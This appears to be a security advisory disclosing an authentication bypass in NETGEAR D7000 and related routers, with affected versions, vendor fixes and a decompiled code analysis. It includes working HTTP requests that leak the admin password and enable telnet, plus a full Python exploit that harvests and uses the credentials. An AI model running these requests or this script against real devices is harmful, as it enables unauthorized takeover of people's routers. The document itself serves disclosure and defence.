SSD Advisory – NETGEAR D7000 Authentication Bypass

TL;DR

Find out how a vulnerability in NETGEAR D7000 device allows remote unauthenticated users to reveal the ‘admin’ password used to login to the admin web interface of the product. NOTE: The vendor states that multiple other devices are also vulnerable.

Vulnerability Summary

A vulnerability in NETGEAR D7000 device allows remote unauthenticated attackers to cause the device to reveal the cleartext form of the ‘admin’ account by accessing the setup.cgi file.

CVE

CVE-TBA

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

  • AC2100 fixed in firmware version 1.2.0.88
  • AC2400 fixed in firmware version 1.2.0.88
  • AC2600 fixed in firmware version 1.2.0.88
  • D7000 fixed in firmware version 1.0.1.80
  • R6220 fixed in firmware version 1.1.0.110
  • R6230 fixed in firmware version 1.1.0.110
  • R6260 fixed in firmware version 1.1.0.84
  • R6330 fixed in firmware version 1.1.0.84
  • R6350 fixed in firmware version 1.1.0.84
  • R6700v2 fixed in firmware version 1.2.0.88
  • R6800 fixed in firmware version 1.2.0.88
  • R6850 fixed in firmware version 1.1.0.84
  • R6900v2 fixed in firmware version 1.2.0.88
  • R7200 fixed in firmware version 1.2.0.88
  • R7350 fixed in firmware version 1.2.0.88
  • R7400 fixed in firmware version 1.2.0.88
  • R7450 fixed in firmware version 1.2.0.88

Vendor Response

The vendor has issued an advisory: https://kb.netgear.com/000063961/Security-Advisory-for-Authentication-Bypass-Vulnerability-on-the-D7000-and-Some-Routers-PSV-2021-0133

Vulnerability Analysis

When decompiling the mini_httpd binary present on the latest firmware in Ghidra, we see the following logic on line 530

LAB_000104f8:
DAT_0001d4ec_needs_auth = 0;
DAT_0001f24c = 0;
}
pcVar4 = (char *)FUN_0000b8f0(1);
iVar3 = strcasecmp(pcVar5,pcVar4);
if ((iVar3 == 0) &&
(pcVar6 = strstr(DAT_0001f330,"todo=PNPX_GetShareFolderList"), pcVar6 != (char *)0x0)) {
DAT_0001d4ec_needs_auth = 0;
}

It checks whether the request line contains todo=PNPX_GetShareFolderList and if it does, it sets a variable at DAT_0001d4ec to 0. It seems that this variable (which I’ve renamed to _needs_auth) is used to check whether authentication is required to access the resource requested. If it is set to 0, the resource is served without requiring a username and password.

Since it uses strstr to check, the string needs to be present in the original request line, but there is no check to see whether the request line includes anything else.

This means that we can request any file without authentication on the web server, including the configuration file and webpages that disclose the password of the administrative user. For example, the following request discloses the configuration file:

GET /setup.cgi?next_file=NETGEAR_D7000.cfg&todo=backup_config HTTPx=todo=PNPX_GetShareFolderList/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://66.103.5.46/BAK_backup.htm&todo=cfg_init
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=sid5580xxx1080xxx509997255xxxx
Connection: close

Note that the “magic string” of PNPX_xxx is included in the HTTP version here, thus the check passes and we receive a 302 redirect to download the configuration file:

GET /NETGEAR_D7000.cfg HTTPx=todo=PNPX_GetShareFolderList/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://66.103.5.46/BAK_backup.htm&todo=cfg_init
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=sid5580xxx1080xxx509997255xxxx
Connection: close

If you receive a 403, make sure the cookie sessionid is up to date (you can request any unauthenticated page to get a valid cookie sessionid).

This configuration file discloses a hashed password, which is interesting. However, we can use this same vulnerability to request a webpage that discloses the full current password in use and use that to get access to the administrative console. On the source code of the below page (BRS_swisscom_success.html), the current password is disclosed:

=== Request
GET /setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: */*
Referer: http://192.168.0.1/htpwd_recovery.cgi?id=8f63a688a3791c82
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
=== Response
<DIV class=left_div id=passpharse><span languageCode = "10719">New Admin password</span>: </DIV>
<DIV class=right_div>currentpassword</DIV>
<DIV style="CLEAR: both"></DIV>

Using this, we can access the admin page and enable telnet to get RCE:

GET /setup.cgi?todo=debug HTTP/1.1
Host: 192.168.0.1
Authorization: Basic <CREDS HERE>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=sid9578xxx3054xxx87993480xxxxx
Connection: close

Demo

Exploit

#!/usr/bin/python3
import sys
import warnings
import contextlib
import requests
import re
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
hostname = "x.y.z.a"
port = 8080
protocol = 'https'
if port == 80:
    protocol = 'http'
url = f"{protocol}://{hostname}:{port}/"
print("Connecting to: {} and port: {}".format(hostname, port))
res = requests.get( url=url, verify=False )
# print("res: {}".format(res.headers))
D7000 = False
if 'WWW-Authenticate' in res.headers:
    if 'D7000' in res.headers['WWW-Authenticate']:
        D7000 = True
if not D7000:
    print("Unable to find D700 signature in the response")
    sys.exit(0)
print("Remote device appears to be an D7000")
res = requests.get( url=f"{protocol}://{hostname}:{port}/setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList", verify=False )
# print("res: {}".format(res.text))
res_text = res.text
matches = re.findall(
    pattern=r"<DIV class=left_div id=passpharse><span languageCode = \"[0-9]+\">Admin user Name</span>: </DIV>\s*<DIV class=right_div>([^<]+)</DIV>",
    string=res_text,
    )
username = ''
if matches:
    username = matches[0]
matches = re.findall(
    pattern=r"<DIV class=left_div id=passpharse><span languageCode = \"[0-9]+\">New Admin password</span>: </DIV>\s*<DIV class=right_div>([^<]+)</DIV>",
    string=res_text,
    )
passphrase = ''
if matches:
    passphrase = matches[0]
if passphrase == '' or username == '':
    print("Unable to find the username/passphrase")
    sys.exit(0)
print(f"Found and using the following credentials: '{username}' and '{passphrase}'")
res = requests.get( url=f"{protocol}://{hostname}:{port}/top.html", verify=False, auth=( username, passphrase) )
res_text = res.text
# print(res_text)
matches = re.findall(
    pattern=r"<div id=\"firm_version\"><span languageCode = \"[0-9]+\">Firmware Version</span><br />([^\n]+)",
    string=res_text,)
if matches:
    print(f"Remote server firmware version: {matches[0]}")
else:
    print("Failed to obtain firmware version (maybe we couldn't logon?)")

?

Get in touch